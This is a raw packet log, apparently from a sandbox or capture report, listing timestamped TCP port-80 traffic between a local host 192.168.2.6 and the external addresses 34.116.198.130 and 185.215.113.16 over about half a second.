Nov 21, 2024 14:11:26.328937054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.329571962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.329628944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.330066919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.330715895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.331003904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.331146002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.331792116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.331911087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.331990004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.332976103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.333118916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.333210945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.334095955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.334193945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.334317923 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.335187912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.338534117 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.338609934 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.338668108 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.338680029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.338743925 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.338743925 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.338830948 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.338917017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.338928938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.338972092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.338972092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.339606047 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.339715958 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.339781046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.339808941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.339827061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.339859009 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.339896917 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.339896917 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.340576887 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.340643883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.340656996 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.340733051 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.341346979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.341445923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.341454983 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.341459036 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.341553926 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.342144012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.342231989 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.342243910 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.342248917 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.342297077 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.342930079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.342993021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.343003988 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.343022108 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.343075037 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.343853951 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.343864918 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.343877077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.343939066 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.344516039 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.344573975 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.344578981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.344584942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.344619989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.344666958 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.345309019 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.345355034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.345366001 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.345382929 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.345412970 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.345511913 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.346091986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.346153021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.346158028 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.346169949 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.346214056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.346863985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.346915960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.346926928 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.346929073 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.346976042 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.346976042 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.347647905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.347711086 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.347721100 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.347749949 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.347843885 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.348443985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.348525047 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.348536968 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.348649979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.349025965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.349194050 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.349250078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.349261999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.349304914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.349304914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.350011110 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.350075006 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.350087881 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.350100040 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.350553989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.350794077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.350856066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.350867033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.350888968 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.350919962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.351721048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.351758003 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.351768017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.351785898 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.352118015 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.352359056 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.352417946 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.352437019 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.352448940 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.352493048 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.352658033 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.353176117 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.353230000 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.353240967 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.353259087 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.353316069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.353951931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.354005098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.354036093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.354046106 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.354079962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.354079962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.354749918 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.354818106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.354835033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.354866982 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.355534077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.355567932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.355592012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.355603933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.355674982 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.356329918 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.356385946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.356398106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.356416941 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.356519938 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.357125998 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.357184887 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.357386112 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.357436895 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.357448101 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.357525110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.358191967 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.358244896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.358257055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.358397007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.358963966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.359024048 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.359059095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.359071016 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.359117985 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.359117985 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.359756947 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.359829903 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.359842062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.359867096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.359977007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.360532045 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.360608101 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.360620022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.360685110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.360685110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.361365080 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.361432076 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.361443996 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.361463070 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.361861944 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.362114906 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.362194061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.362204075 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.362256050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.362256050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.362899065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.362950087 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.362960100 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.362974882 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.363006115 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.363038063 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.363687038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.363722086 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.363734007 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.363801956 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.363801956 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.364535093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.364581108 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.364588022 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.364598989 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.364645958 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.364789963 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.365302086 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.365350008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.365362883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.365385056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.365423918 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.365423918 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.387736082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.633229971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.633248091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.633258104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.633389950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.634917021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.635183096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.673573017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.752774000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.752785921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.752796888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.752892017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.752958059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.752974987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.752986908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753021955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753046036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753057003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753067970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753077984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753091097 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753096104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753106117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753115892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753125906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753138065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753148079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753149033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753161907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753171921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753182888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753194094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753206968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753212929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753212929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753212929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753218889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753231049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753241062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753252983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753259897 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753281116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753293991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753295898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753304958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753315926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753319979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753328085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753338099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753339052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753350019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753360033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753371000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753381968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753412962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753423929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753443956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753457069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753463030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753472090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753477097 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753484011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753494024 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753521919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753532887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753542900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753555059 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753565073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753571987 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753572941 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753592014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753603935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753612995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753623962 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753634930 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753644943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753645897 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753644943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753663063 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753674984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753679037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753679037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753679037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753679037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753685951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753698111 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753721952 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753721952 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753726006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753737926 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753741980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753741980 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753750086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753761053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753773928 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753782988 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753803968 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753801107 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753824949 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753827095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753840923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753840923 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753851891 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753863096 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753863096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753874063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753885031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753890038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753892899 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753896952 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753907919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753916979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753920078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753935099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753937960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753948927 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753959894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753968000 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.753969908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.753981113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753982067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753982067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.753993034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.753998995 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754003048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754015923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754026890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754039049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754043102 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754044056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754049063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754060984 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754062891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754075050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754080057 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754091978 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754102945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754112959 CET	49905	80	192.168.2.6	185.215.113.16
